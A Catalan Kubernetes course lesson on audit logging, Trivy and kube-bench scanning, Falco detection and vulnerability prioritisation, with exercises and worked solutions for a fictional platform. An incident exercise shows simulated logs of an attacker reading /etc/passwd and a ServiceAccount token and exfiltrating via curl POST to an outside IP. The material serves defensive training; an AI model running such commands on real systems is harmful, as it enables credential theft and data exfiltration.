# 5. Compliment del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"
# 6. Configuració de seguretat dels namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
> "$DIR/perfils-psa.txt"
echo "Evidències generades a $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"El sha256sum final no és decoratiu: permet demostrar que les evidències no s'han modificat després de generar-se.
- Llista de verificació final de seguretat de la plataforma
Aquest és el resum operatiu de tot el mòdul, component a component.
Controls transversals del clúster
| # | Control | Lliçó | Verificació |
|---|---|---|---|
| 1 | RBAC de mínim privilegi, sense comodins | 08-01 | verificar-rbac.sh en cada canvi |
| 2 | Ningú no té cluster-admin de forma permanent llevat d'emergència registrada |
08-01 | Consulta trimestral de ClusterRoleBinding |
| 3 | Només plataforma pot llegir Secrets de producció |
08-01 | kubectl auth can-i per grup |
| 4 | Operadors privilegiats en namespace propi | 08-01, 08-03 | Revisió de manifests |
| 5 | PSA enforce: restricted a pre i pro, baseline a dev |
08-03 | Etiquetes dels namespaces |
| 6 | Versió del PSA fixada (-version) |
08-03 | Etiquetes dels namespaces |
| 7 | Kyverno: registre obligatori, etiquetes, recursos, signatures | 08-03, 08-05 | PolicyReport sense fail |
| 8 | ValidatingAdmissionPolicy prohibint latest |
08-03 | Prova negativa |
| 9 | NetworkPolicy deny-all als tres namespaces, generada per Kyverno |
04-06, 08-04 | Auditoria de polítiques |
| 10 | Control de sortida: només passarel·la de pagaments i SMTP | 08-04 | verificar-sortida.sh |
| 11 | Sense NodePort ni hostPort a producció |
08-04 | Auditoria de Services |
| 12 | apiserver no exposat públicament | 08-04 | kubectl cluster-info |
| 13 | etcd xifrat en repòs, amb Secrets reescrits | 08-04 | Configuració de l'apiserver |
| 14 | Còpies de seguretat d'etcd xifrades i custodiades | 08-04, 05-06 | Configuració de les còpies |
| 15 | kubelet: sense auth anònima, sense port de només lectura | 08-04 | kube-bench |
| 16 | Nodes de pla de control amb taint i sense càrregues d'aplicació | 08-04 | Auditoria de toleràncies |
| 17 | Registre d'auditoria actiu, amb política revisada | 08-06 | Informe diari |
| 18 | Falco desplegat a tots els nodes, amb alerta si falla | 08-06 | Alerta FalcoNoEstaFuncionant |
| 19 | Trivy Operator amb informes sense crítiques sense excepció | 08-06 | vulnerabilityreports |
| 20 | kube-bench setmanal amb línia base coneguda | 08-06 | CronJob |
Per component
| Component | Sense root | RootFS RO | Caps ALL |
Seccomp | Token SA | Digest | Signatura | NetPol E/S |
|---|---|---|---|---|---|---|---|---|
botiga-web |
Sí (101) | Sí | Sí | Sí | No munta | Sí | Sí | Entrada Ingress / sense sortida |
api-reserves |
Sí (65532) | Sí | Sí | Sí | Munta, RBAC mínim | Sí | Sí | Entrada botiga+Ingress / sortida BD, caché, passarel·la |
| Ambaixador pagaments | Sí (10004) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
postgres-reserves |
Sí (999) | No (excepció) | Sí | Sí | No munta | Sí | Sí | Entrada api+worker+informes / sense sortida |
| Exportador mètriques | Sí (65534) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
redis-cache |
Sí (999) | Sí | Sí | Sí | No munta | Sí | Sí | Entrada api / sense sortida |
worker-notificacions |
Sí (10002) | Sí | Sí | Sí | No munta | Sí | Sí | Sense entrada / sortida BD + SMTP |
| Adaptador logs | Sí (10002) | Sí | Sí | Sí | (del pod) | Sí | Sí | (del pod) |
informes-ocupacio |
Sí (10003) | Sí | Sí | Sí | No munta | Sí | Sí | Sense entrada / sortida BD |
| Recol·lector logs | No (root, justificat) | Sí | DAC_READ_SEARCH |
Sí | Munta, RBAC lectura | Sí | Sí | Namespace sistema |
Excepcions vigents i la seva justificació
| Excepció | Component | Justificació | Revisió | Responsable |
|---|---|---|---|---|
readOnlyRootFilesystem: false |
postgres-reserves |
PostgreSQL escriu sockets i temporals fora del volum. Tasca oberta per resoldre-ho amb emptyDir |
Trimestral | Plataforma |
hostPath en només lectura |
Recol·lector de logs | Necessita llegir /var/log del node. A rutas-norte-sistema amb perfil privileged |
Trimestral | Plataforma |
runAsUser: 0 |
Recol·lector de logs | Els logs del node són de root. Mitigat: sense privilegis, només DAC_READ_SEARCH, muntatge de només lectura |
Trimestral | Plataforma |
hostPID |
kube-bench (CronJob) | Necessita inspeccionar la configuració del node. Només lectura, execució setmanal acotada | Trimestral | Plataforma |
| CVE-2025-98004 | api-reserves, worker |
Sense correcció; ruta no executada | 2026-10-01 | Plataforma |
| CVE-2026-10877 | api-reserves |
Requereix migració d'imatge base | 2026-09-15 | Equip API |
Una llista d'excepcions que cap en una taula i en la qual cada línia té motiu, data i responsable és el senyal d'una plataforma ben gestionada. Una llista que no existeix, o que ningú no ha mirat en un any, significa que les excepcions hi són igualment: simplement no es coneixen.
Errors Comuns i Consells
Configurar RequestResponse sobre Secrets. Escriu el contingut del secret al log d'auditoria. Les credencials de la base de dades de clients acabarien replicades al sistema de logs i a les seves còpies. Sempre Metadata per a Secrets.
Registrar-ho tot sense filtrar el soroll. El volum es dispara, el disc s'omple i —el pitjor— si l'apiserver no pot escriure el log d'auditoria, deixa de servir peticions. Posa les regles de None primer.
Enviar el registre d'auditoria al mateix sistema on escriuen els pods. Qui comprometi el clúster pot manipular les evidències. Ha d'anar a un destí on el clúster només pugui escriure.
Oblidar que el registre d'auditoria conté dades personals. Noms d'usuari i IP d'empleats. Necessita la seva pròpia base legal, retenció i control d'accés.
Escanejar només a la canalització. Una imatge neta al juny té crítiques a l'agost. Escaneig continu del registre i del que està corrent.
Escanejar els manifests en lloc del que corre. Escaneja per imageID (el digest efectiu), que és el que realment s'està executant.
No fer servir --ignore-unfixed. Una vulnerabilitat sense pedaç bloqueja tots els desplegaments, l'equip se'n cansa i desactiva la comprovació. Una porta sempre tancada acaba desmuntada.
.trivyignore sense motiu, responsable ni data de caducitat. Es converteix en el cementiri de les vulnerabilitats que ningú no va voler mirar.
Tractar tots els CVE crítics com igual d'urgents. Sense considerar exposició, ruta d'execució i explotació real, l'equip s'esgota amb l'irrellevant i arriba tard a l'important.
Ignorar les troballes de kube-bench inaplicables a Kubernetes gestionat. Documenta-les com a gestionades pel proveïdor, no les esborris en silenci.
Alertar de les mateixes troballes conegudes cada setmana. Compara amb una línia base i alerta només de les desviacions noves.
Desplegar Falco i encaminar les seves alertes a la guàrdia des del primer dia. Els falsos positius inicials faran que l'equip silenciï el canal, i amb ell les alertes reals.
Desactivar una regla sencera de Falco per un fals positiu. Fes servir excepcions acotades per aplicació i procés.
No vigilar que Falco estigui funcionant. Un detector apagat no genera alertes, i l'absència d'alertes es confon amb l'absència de problemes.
Tenir eines sense procés. Tres-centes troballes sense inventari, prioritat, termini ni responsable són tres-centes coses que ningú no arreglarà.
Generar les evidències la setmana abans de l'auditoria. Automatitza-les, amb data i checksum. A més de ser més creïble, estalvia el pànic.
Consell d'or: les tres preguntes que has de poder respondre en qualsevol moment, i amb evidència, són: qui va accedir a les dades de clients?, quines vulnerabilitats explotables tinc ara mateix en el que està corrent? i què està passant dins dels meus contenidors?. Auditoria, escaneig continu i detecció en temps d'execució. Si te'n falta una, tens un punt cec.
Exercicis
Exercici 1: escriure una regla de política d'auditoria
L'equip de compliment demana poder respondre a aquesta pregunta: "qui ha modificat la configuració dels CronJobs de producció i què va canviar exactament?". A més, vol que les lectures rutinàries de ConfigMaps per part del kubelet deixin d'ocupar espai al log.
- Escriu les dues regles de política d'auditoria necessàries, indicant on han d'anar a l'ordre del fitxer i per què.
- Escriu la consulta
jqque respon a la pregunta. - Explica per què el nivell triat és l'adequat i què hauria passat amb els altres tres.
Exercici 2: prioritzar quatre troballes
L'escaneig setmanal retorna aquestes quatre troballes a producció:
| # | CVE | Severitat | Component | Imatge | Estat | Detall |
|---|---|---|---|---|---|---|
| A | CVE-2026-13001 | CRITICAL (9.8) | libxml2 |
postgres-reserves |
fixed |
Execució remota en analitzar XML malformat. PostgreSQL fa servir libxml2 només per al tipus de dada xml, que Rutas Norte no utilitza |
| B | CVE-2026-13045 | HIGH (8.1) | express |
api-reserves |
fixed |
Confusió de tipus en l'anàlisi de paràmetres de consulta. Al catàleg KEV |
| C | CVE-2026-12988 | CRITICAL (9.4) | openssl |
worker-notificacions |
affected |
Sense correcció. Afecta la verificació de certificats de client; el worker només actua com a client TLS cap a l'SMTP |
| D | CVE-2026-13102 | MEDIUM (5.3) | nginx |
botiga-web |
fixed |
Divulgació d'informació en respostes d'error quan server_tokens està actiu |
Per a cadascuna:
- Assigna una prioritat (P1-P5) segons la taula de l'apartat 10 i justifica-la.
- Indica l'acció concreta i el termini.
- Per a les que no es corregeixin immediatament, escriu l'entrada del registre d'excepcions.
Exercici 3: reconstruir un incident amb tres fonts
A les 03:47 del 6 d'agost salta una alerta. Tens tres fonts d'informació:
Registre d'auditoria:
03:47:09Z system:serviceaccount:rutas-norte-pro:worker-notificacions list secrets/- 403
03:47:14Z system:serviceaccount:rutas-norte-pro:worker-notificacions create pods/exec 403
03:47:31Z system:serviceaccount:rutas-norte-pro:worker-notificacions get configmaps/worker-config 200Falco:
03:47:08.229 Critical Shell oberta a produccio (proces=sh -c "cat /etc/passwd"
pare=node pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token pare=sh
pod=worker-notificacions-6d4f8b9c7-k9x2)
03:47:12.155 Critical Eina de descarrega a produccio (proces=curl -X POST
https://192.0.2.55/r -d @- pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2)Hubble (de 08-04):
03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443 DROPPED Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53 DROPPED Policy denied- Reconstrueix la seqüència completa del que va passar, amb l'hora de cada pas.
- Indica quin control va aturar cada intent i quin hauria estat el resultat si aquell control no existís.
- Hi ha una dada a les tres fonts que revela alguna cosa important sobre la imatge desplegada, que contradiu la política de 08-05. Identifica-la.
- Escriu les cinc accions immediates i les tres correccions de fons.
Solucions
Solució 1
1. Les dues regles:
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
# ---------------------------------------------------------------
# REGLA A: descartar el soroll del kubelet llegint ConfigMaps.
# HA D'ANAR AL PRINCIPI del fitxer, al bloc de None.
# Motiu: la política s'avalua en ordre i s'aplica la PRIMERA
# regla que coincideix. Si aquesta anés després de la regla B o de
# qualsevol regla genèrica, aquelles lectures ja s'haurien registrat.
# ---------------------------------------------------------------
- level: None
users: ["system:kubelet"]
userGroups: ["system:nodes"]
verbs: ["get", "list", "watch"]
resources:
- group: ""
resources: ["configmaps"]
# ... (resta del bloc de None: sondes, controladors, esdeveniments) ...
# ---------------------------------------------------------------
# REGLA B: escriptures sobre CronJobs de producció, amb el cos.
# Va al bloc de regles específiques, ABANS de les regles
# genèriques de nivell Metadata que capturarien aquestes peticions
# amb menys detall.
# ---------------------------------------------------------------
- level: Request
verbs: ["create", "update", "patch", "delete"]
namespaces: ["rutas-norte-pro"]
resources:
- group: "batch"
resources: ["cronjobs"]
# ... (resta de regles específiques) ...
# Regla genèrica final
- level: MetadataEl raonament de l'ordre és l'important de l'exercici. Amb la política avaluant-se de dalt a baix i aplicant la primera coincidència:
- La regla A abans de tot: si estigués al final, les lectures del kubelet ja haurien coincidit amb la regla genèrica
Metadatai serien al log. - La regla B abans de la genèrica
Metadata: si estigués després, les escriptures sobre CronJobs es registrarien amb nivellMetadatai no tindríem el cos, que és just el que demana l'enunciat.
2. La consulta:
jq -r 'select(
.objectRef.resource == "cronjobs" and
.objectRef.namespace == "rutas-norte-pro" and
(.verb | test("create|update|patch|delete"))
)
| "=== \(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name) [\(.responseStatus.code)]",
" programacio: \(.requestObject.spec.schedule // "sense canvi")",
" imatge: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sense canvi")",
" suspes: \(.requestObject.spec.suspend // false)"' \
/var/log/kubernetes/auditoria.log=== 2026-08-05T18:22:41Z [email protected] patch informes-ocupacio [200]
programacio: 0 4 * * *
imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
suspes: false
=== 2026-08-06T02:11:09Z system:serviceaccount:argocd:argocd-application-controller patch informes-ocupacio [200]
programacio: 0 3 * * *
imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
suspes: falseInterpretació: algú va canviar l'hora d'execució de les 03:00 a les 04:00 a la tarda, i Argo CD la va revertir a les 02:11 perquè el canvi no era a Git. És exactament el comportament esperat de GitOps (10-05), i el registre d'auditoria ho documenta.
3. Per què Request i no els altres:
| Nivell | Què hauria passat |
|---|---|
None |
No es registraria res: no es podria respondre a la pregunta |
Metadata |
Sabríem qui va modificar el CronJob i quan, però no què va canviar. La pregunta demana "i què va canviar exactament" |
Request |
Correcte: metadades més l'objecte enviat, que conté la programació, la imatge i la resta de l'especificació |
RequestResponse |
Afegiria l'objecte retornat pel servidor, que per a un patch és pràcticament el mateix objecte ja aplicat. Duplica la mida sense aportar informació útil |
Un matís per completar la resposta: amb Request veiem l'objecte enviat, que en un patch pot ser només el fragment modificat, no l'objecte complet. Si calgués l'estat resultant complet, RequestResponse seria justificable. Per a CronJobs no hi ha risc de dades personals al cos, així que seria una opció acceptable; simplement no és necessària.
Solució 2
Troballa B — CVE-2026-13045 (express, api-reserves)
| Factor | Valoració |
|---|---|
| Severitat | HIGH (8.1) |
| Correcció? | Sí |
| Al KEV? | Sí: explotació confirmada |
| Exposició | api-reserves atén peticions d'internet a través de l'Ingress |
| Ruta d'execució | Sí: l'anàlisi de paràmetres de consulta s'executa en cada petició |
| Dades afectades | Dona accés potencial a l'API que serveix dades de clients |
Prioritat: P1. Termini: 24 hores.
Encara que el seu CVSS (8.1) és inferior al dels dos crítics, és el més urgent dels quatre: és al catàleg de vulnerabilitats explotades activament, afecta un component exposat a internet, la ruta vulnerable s'executa en cada petició i dona accés a dades personals. És l'exemple canònic de per què la severitat sola no n'hi ha prou per prioritzar.
Acció: actualitzar express a la versió corregida, reconstruir api-reserves, escanejar, signar i desplegar avui mateix. Si el cicle complet no cabés en 24 hores, mitigar mentrestant amb una regla del WAF (08-04) que rebutgi el patró de petició afectat.
Troballa D — CVE-2026-13102 (nginx, botiga-web)
| Factor | Valoració |
|---|---|
| Severitat | MEDIUM (5.3) |
| Correcció? | Sí |
| Exposició | botiga-web està exposat a internet |
| Ruta d'execució | Només si server_tokens està actiu |
| Compensació | Comprovable immediatament |
Prioritat: P4 (90 dies), amb una mitigació immediata de cost zero.
Acció: primer comprovar la configuració:
kubectl exec -n rutas-norte-pro deploy/botiga-web -- \
grep -r server_tokens /etc/nginx/ || echo "no configurat (valor per defecte: on)"Si està actiu, desactivar-lo al ConfigMap de nginx és un canvi d'una línia que elimina l'exposició avui, independentment de la correcció. Després, l'actualització de la imatge entra al cicle normal de reconstrucció setmanal.
És un bon exemple que la mitigació de configuració pot ser més ràpida que el pedaç, i no s'ha de descartar per ser "menys definitiva".
Troballa A — CVE-2026-13001 (libxml2, postgres-reserves)
| Factor | Valoració |
|---|---|
| Severitat | CRITICAL (9.8) |
| Correcció? | Sí |
| Al KEV? | No |
| Exposició | postgres-reserves no és assolible des d'internet (NetworkPolicy de 08-04) |
| Ruta d'execució | No: requereix el tipus de dada xml, que no es fa servir |
| Dades afectades | Si s'explotés, accés total a les dades de clients |
Prioritat: P3 (30 dies).
És CRITICAL amb 9.8, i tot i així no és urgent: la ruta vulnerable requereix processar XML, i l'esquema de Rutas Norte no té cap columna de tipus xml. A més, el component no és assolible des de fora del clúster.
Però hi ha dos matisos importants que impedeixen baixar-lo més:
- La verificació que no es fa servir XML ha de ser comprovada, no suposada. Cal executar una consulta que confirmi que cap taula no fa servir aquell tipus:
SELECT table_name, column_name, data_type FROM information_schema.columns WHERE data_type = 'xml'; - Si s'explotés, l'impacte seria màxim: són les dades personals de tots els clients. Quan l'impacte potencial és aquest, no es baixa de P3 encara que l'explotabilitat sigui baixa.
Acció: actualitzar la imatge replicada de PostgreSQL al cicle mensual d'imatges externes/.
Troballa C — CVE-2026-12988 (openssl, worker-notificacions)
| Factor | Valoració |
|---|---|
| Severitat | CRITICAL (9.4) |
| Correcció? | No: affected, sense pedaç disponible |
| Ruta d'execució | No: afecta la verificació de certificats de client, i el worker només actua com a client |
| Exposició | Sense entrada de xarxa (NetworkPolicy de 08-04) |
Prioritat: P5 → requereix excepció documentada.
No hi ha correcció disponible, així que no hi ha acció possible més enllà de vigilar. I la ruta afectada no s'executa: la verificació de certificats de client és el que fa un servidor TLS, i worker-notificacions només obre connexions sortints cap a l'SMTP.
Entrada del registre d'excepcions:
- cve: CVE-2026-12988
component: openssl
imatges: ["rutasnorte/worker-notificacions"]
severitat: CRITICAL
cvss: 9.4
estat_correccio: affected # sense pedaç del mantenidor
motiu: >-
La vulnerabilitat afecta la ruta de verificació de certificats de
CLIENT, que només s'executa quan el procés actua com a servidor TLS.
worker-notificacions únicament obre connexions sortints cap al
servidor SMTP del proveïdor, actuant sempre com a client. La ruta de
codi vulnerable no s'executa.
Verificat per: revisió del codi de l'aplicació i del SBOM.
mitigacio: >-
El component no accepta connexions entrants (NetworkPolicy sense regles
d'Ingress, 08-04). Corre sense root, amb capacitats eliminades i sistema
de fitxers de només lectura (08-02).
aprovada_per: seguretat
responsable: plataforma
data_aprovacio: 2026-08-06
data_caducitat: 2026-09-06 # revisió mensual: pot sortir el pedaç
revisio: mensual
seguiment: >-
Comprovar setmanalment si el mantenidor publica correcció. Tan bon punt
existeixi, aquesta excepció es tanca i passa a P2.Resum de prioritats:
| Ordre | Troballa | CVSS | Prioritat | Termini |
|---|---|---|---|---|
| 1 | B — express |
8.1 | P1 | 24 h |
| 2 | D — nginx |
5.3 | P4 + mitigació avui | Mitigar avui, apedaçar en 90 dies |
| 3 | A — libxml2 |
9.8 | P3 | 30 dies |
| 4 | C — openssl |
9.4 | P5 (excepció) | Vigilància mensual |
L'ordre no coincideix amb el dels CVSS. Aquesta és exactament la lliçó: prioritzar per severitat abstracta hauria posat A i C primer (els dos CRITICAL) i B en tercer lloc, retardant l'única que s'està explotant activament en un component exposat a internet.
Solució 3
1. Reconstrucció de la seqüència
| Hora | Font | Què va passar |
|---|---|---|
| 03:47:08.229 | Falco | Es llança sh -c "cat /etc/passwd" amb node com a procés pare. El procés de l'aplicació ha executat un intèrpret d'ordres: és el moment del compromís, probablement una injecció d'ordres a través de l'aplicació |
| 03:47:09.884 | Falco | Des d'aquella shell es llegeix el token de la ServiceAccount: fase de reconeixement, busca credencials |
| 03:47:09 | Auditoria | Fa servir aquell token: intenta list secrets al namespace → 403 |
| 03:47:12.155 | Falco | Executa curl -X POST https://192.0.2.55/r -d @-: intent d'exfiltració cap a una IP externa |
| 03:47:12.401 | Hubble | Aquella connexió al port 443 → DROPPED, Policy denied |
| 03:47:13.455 | Hubble | Reintent pel port 53 (tècnica per travessar tallafocs permissius) → DROPPED |
| 03:47:14 | Auditoria | Canvia d'estratègia: intenta create pods/exec per saltar a un altre pod → 403 |
| 03:47:31 | Auditoria | Es conforma amb el que sí que pot: llegeix configmaps/worker-config → 200 |
Seqüència clàssica i completa en 23 segons: compromís → reconeixement de credencials → intent d'escalada → intent d'exfiltració → intent de moviment lateral → replegament al que sí que està permès.
2. Què va aturar cada intent
| Intent | Control que el va aturar | Lliçó | Sense aquell control |
|---|---|---|---|
| Llistar secrets | RBAC: la SA del worker no té permís sobre secrets |
08-01 | Hauria obtingut les credencials de postgres-reserves: accés directe a les dades personals de tots els clients |
| Exfiltrar per HTTPS | NetworkPolicy d'egrés: el worker només pot sortir a l'SMTP | 08-04 | Les dades que ja tenia haurien sortit del clúster. Fuga de dades consumada |
| Exfiltrar pel 53 | La mateixa política | 08-04 | Ídem |
pods/exec en un altre pod |
RBAC: la SA no té aquell subrecurs | 08-01 | Moviment lateral a api-reserves o a postgres-reserves |
| Llegir el ConfigMap | Res: era un permís legítim | — | (Va passar) |
Els quatre controls del mòdul van funcionar. I les tres fonts de detecció van funcionar: Falco va veure el que passava dins del contenidor, l'auditoria va veure els intents contra l'API, i Hubble va veure els intents contra la xarxa. Cap de les tres, per si sola, explicava la història completa.
3. La dada que contradiu la política de 08-05
Hi ha un intèrpret d'ordres (
sh) i hi hacurldins de la imatge deworker-notificacions.
Segons la política d'imatges de 08-05, worker-notificacions s'havia de construir sobre gcr.io/distroless/nodejs22, que no conté shell ni cap utilitat. Que l'atacant hagi pogut executar sh -c i curl demostra que la imatge desplegada no és distroless.
Les implicacions són serioses i cal investigar-les:
- Es va canviar el Dockerfile sense que ningú el revisés?
- Es va desplegar una imatge d'una altra procedència? (la verificació de signatura ho hauria d'haver impedit)
- La política de Kyverno de 08-05 està en
Auditen lloc d'Enforce? - El digest desplegat coincideix amb el que la canalització va signar?
I hi ha una lliçó de fons molt valuosa: la imatge mínima no és només una reducció de superfície de vulnerabilitats, és una reducció de capacitat de l'atacant. Amb distroless, els passos de 03:47:08 i 03:47:12 haurien estat impossibles: no hi ha sh que llançar ni curl que executar. El compromís inicial hauria passat igualment, però l'atacant s'hauria quedat amb un procés de Node i cap eina.
Comprovació immediata:
# Quin digest està corrent realment?
kubectl get pod -n rutas-norte-pro worker-notificacions-6d4f8b9c7-k9x2 \
-o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'
# Coincideix amb el que va signar la canalització?
cosign verify \
--certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
--certificate-oidc-issuer "https://git.rutasnorte.example" \
"<el digest anterior>"
# La imatge té shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'4. Accions immediates i correccions de fons
Cinc accions immediates (primers 30 minuts):
| # | Acció | Ordre |
|---|---|---|
| 1 | Aïllar el pod sense destruir-lo | kubectl label pod -n rutas-norte-pro worker-notificacions-6d4f8b9c7-k9x2 app- estat=en-quarantena (el ReplicaSet en crea un de net automàticament) |
| 2 | Aplicar la NetworkPolicy de quarantena | La de l'exercici de 08-04: denegació total per a estat: en-quarantena |
| 3 | Rotar les credencials accessibles des d'aquell pod | Credencials de la BD que feia servir, credencials SMTP, i el token de la seva ServiceAccount |
| 4 | Determinar l'abast amb les tres fonts | Auditoria, Falco i Hubble de les últimes 72 hores per a aquell pod i per a tots els del namespace |
| 5 | Notificar el responsable de compliment | Hi ha indicis d'intent d'accés a dades personals; els terminis de notificació comencen en conèixer-se el fet |
Tres correccions de fons:
| # | Correcció | Per què |
|---|---|---|
| 1 | Investigar i corregir la imatge no conforme. Verificar que el Dockerfile fa servir distroless, que la política de verificació de signatures està en Enforce i que el digest desplegat és el signat |
És la desviació que va ampliar la capacitat de l'atacant. Sense resoldre-la, el pròxim incident serà igual |
| 2 | Trobar i tancar el vector d'entrada. El pare de la shell era node: hi ha una injecció d'ordres al codi del worker. Revisar el codi, escanejar les dependències, aplicar el procés de gestió de vulnerabilitats de l'apartat 10 |
Tota la resta va ser contenció; això és la causa |
| 3 | Revisar els permisos del worker. Necessitava configmaps/worker-config i res més. Verificar amb kubectl auth can-i --list que no té permisos de més, i confirmar que la seva NetworkPolicy només permet BD i SMTP |
Aplicar la lliçó de l'incident a la resta de components |
I una quarta que no és tècnica però és igual d'important: documentar l'incident complet amb la seva cronologia, els controls que van funcionar, els que van faltar i les accions preses. És evidència per a l'auditoria, material de formació per a l'equip i la base per a la revisió trimestral de seguretat.
Conclusió
Amb aquesta lliçó tanquem el mòdul 8 i les dues preguntes que quedaven obertes:
- El registre d'auditoria de l'apiserver respon a "qui va fer què?". La seva política té quatre nivells —
None,Metadata,Request,RequestResponse— i s'avalua en ordre, aplicant la primera regla que coincideix. Per a Secrets, sempreMetadata:RequestResponseescriuria les credencials de la base de dades de clients al log. Destins de fitxer i de webhook, i el webhook ha d'apuntar a un sistema on el clúster només pugui escriure. - Amb
jqsobre el fitxer es responen preguntes concretes en segons: qui va llegir les credencials, qui va esborrar aquell Deployment, què va fer aquella ServiceAccount, qui va entrar en un contenidor de producció, qui va canviar el RBAC. I els403registrats són senyals de detecció, no no-esdeveniments. - Trivy escaneja imatges localment, a la canalització amb llindar que trenca la construcció (amb
--ignore-unfixed, o la porta acaba desmuntada) i de forma contínua sobre el que està corrent per digest. El Trivy Operator ho automatitza dins del clúster i publica els resultats com a recursos personalitzats que s'integren amb Prometheus. - kube-bench avalua la configuració del clúster contra els estàndards CIS. Les seves troballes es gestionen comparant amb una línia base coneguda, i les inaplicables a Kubernetes gestionat es documenten, no s'ignoren.
- Falco aporta la detecció en temps d'execució que cap control preventiu no pot donar, observant crides al sistema. Les seves millors regles no són genèriques: són el reflex de les decisions de disseny de les lliçons anteriors —sense shell perquè fem servir distroless, sense escriptura al sistema perquè el rootfs és de només lectura, sense lectura de tokens perquè els vam desmuntar—. Les seves alertes s'integren amb l'Alertmanager del mòdul 7, i cal vigilar que Falco estigui funcionant.
- I el que de debò falta a la majoria d'equips: la gestió de vulnerabilitats com a procés, amb inventari, priorització realista (no tot CVE crític és urgent: compten l'explotació real, l'exposició i la ruta d'execució), terminis per severitat, responsable assignat i excepcions documentades amb data de caducitat que bloquegin la construcció en vèncer.
- Les evidències es generen automàticament, amb data i checksum, no la setmana abans de l'auditoria. I el mateix registre d'auditoria conté dades personals dels empleats: necessita la seva base legal, la seva retenció i el seu control d'accés.
La llista de verificació final recorre els vint controls transversals del clúster i els deu components de Rutas Norte, amb les seves excepcions vigents, cadascuna amb motiu, data de revisió i responsable.
Amb això, la plataforma Rutas Norte és segura i observable. Sabem qui pot fer què, què pot fer cada contenidor, què parla amb què, què s'executa exactament, qui fa què i què està passant a dins. I quan alguna cosa falla, hi ha tres fonts independents que ho expliquen.
Però hi ha una cosa que hem arrossegat durant vuit mòduls sense qüestionar-la. Mira el manifest d'api-reserves: replicas: 4. Quatre. Un número que algú va escriure a mà un dia, mirant el trànsit d'aquell moment. botiga-web en té tres. worker-notificacions, dos.
Aquells números estan congelats. No canvien quan a les tres de la tarda d'un dimarts de febrer sobra la meitat de la capacitat, ni quan el pont de maig arriba i mig país decideix comprar bitllets d'autobús el mateix dijous a la tarda. La plataforma està perfectament protegida i perfectament incapaç d'adaptar-se a la seva pròpia càrrega. I una plataforma que no respon quan més se la necessita ha fallat igual que si l'haguessin atacada: els clients no compren bitllets, i tant és si és per un incident de seguretat o per saturació.
El mòdul 9, Escalat i Rendiment, resol exactament això: autoescalat horitzontal de pods segons la càrrega real, autoescalat vertical per ajustar les peticions de recursos, autoescalat del mateix clúster quan els nodes no donen més, escalat per esdeveniments i mètriques personalitzades amb KEDA, alta disponibilitat amb PodDisruptionBudgets i distribució per topologia, i l'ajust fi de rendiment. Comencem pel més important: 09-01, Autoescalat Horitzontal de Pods.
Curs de Kubernetes
Mòdul 1: Introducció a Kubernetes
- Què és Kubernetes?
- Arquitectura de Kubernetes
- Conceptes i Terminologia Clau
- Configuració d'un Clúster de Kubernetes
- La CLI de Kubernetes: kubectl
- Objectes, Manifests YAML i el Model Declaratiu
- El Projecte del Curs: la Plataforma Rutas Norte
Mòdul 2: Components Principals de Kubernetes
- Pods
- ReplicaSets
- Deployments
- Actualitzacions, Rollbacks i Estratègies de Desplegament
- Serveis
- Namespaces
- Etiquetes, Selectors i Anotacions
Mòdul 3: Gestió de Configuració i Secrets
- ConfigMaps
- Secrets
- Variables d'Entorn
- Quotes i Límits de Recursos
- LimitRanges i Classes de Qualitat de Servei (QoS)
- ServiceAccounts i Accés a l'API des dels Pods
Mòdul 4: Xarxes a Kubernetes
- Xarxes de Clúster
- Tipus de Serveis
- DNS Intern i Descobriment de Serveis
- Controladors d'Ingress
- TLS i Gestió de Certificats amb cert-manager
- Polítiques de Xarxa
Mòdul 5: Emmagatzematge a Kubernetes
- Volums
- Volums Persistents
- Reclamacions de Volums Persistents
- Classes d'Emmagatzematge
- Aprovisionament Dinàmic, Expansió i Snapshots
- Còpies de Seguretat i Restauració de Dades
Mòdul 6: Conceptes Avançats de Kubernetes
- StatefulSets
- DaemonSets
- Treballs i CronJobs
- Init Containers, Sidecars i Patrons Multicontenidor
- Planificació: Afinitat, Taints i Toleracions
- Definicions de Recursos Personalitzats (CRDs)
- Operadors i el Patró Controlador
Mòdul 7: Monitoratge i Registre
- Verificacions de Salut i Sondes
- Servidor de Mètriques i kubectl top
- Monitoratge amb Prometheus
- Visualització i Alertes amb Grafana i Alertmanager
- Registre Centralitzat amb Elasticsearch, Fluentd i Kibana (EFK)
- Depuració d'Aplicacions i Esdeveniments del Clúster
Mòdul 8: Seguretat a Kubernetes
- Control d'Accés Basat en Rols (RBAC)
- Contextos de Seguretat i Enduriment del Contenidor
- Polítiques de Seguretat de Pods i Pod Security Standards
- Seguretat de Xarxa
- Seguretat d'Imatges
- Auditoria, Escaneig i Gestió de Vulnerabilitats
Mòdul 9: Escalat i Rendiment
- Autoescalat Horitzontal de Pods
- Autoescalat Vertical de Pods
- Autoescalat de Clúster
- Escalat per Esdeveniments i Mètriques Personalitzades amb KEDA
- Alta Disponibilitat: PodDisruptionBudgets i Topologia
- Ajust de Rendiment
Mòdul 10: Ecosistema i Eines de Kubernetes
- Minikube i Entorns Locals amb kind
- Kubeadm
- Helm
- Kustomize
- GitOps amb Argo CD i Flux
- Kubernetes Gestionat: EKS, AKS i GKE
Mòdul 11: Estudis de Cas i Aplicacions del Món Real
- Desplegament d'una Aplicació Web
- Execució d'Aplicacions amb Estat
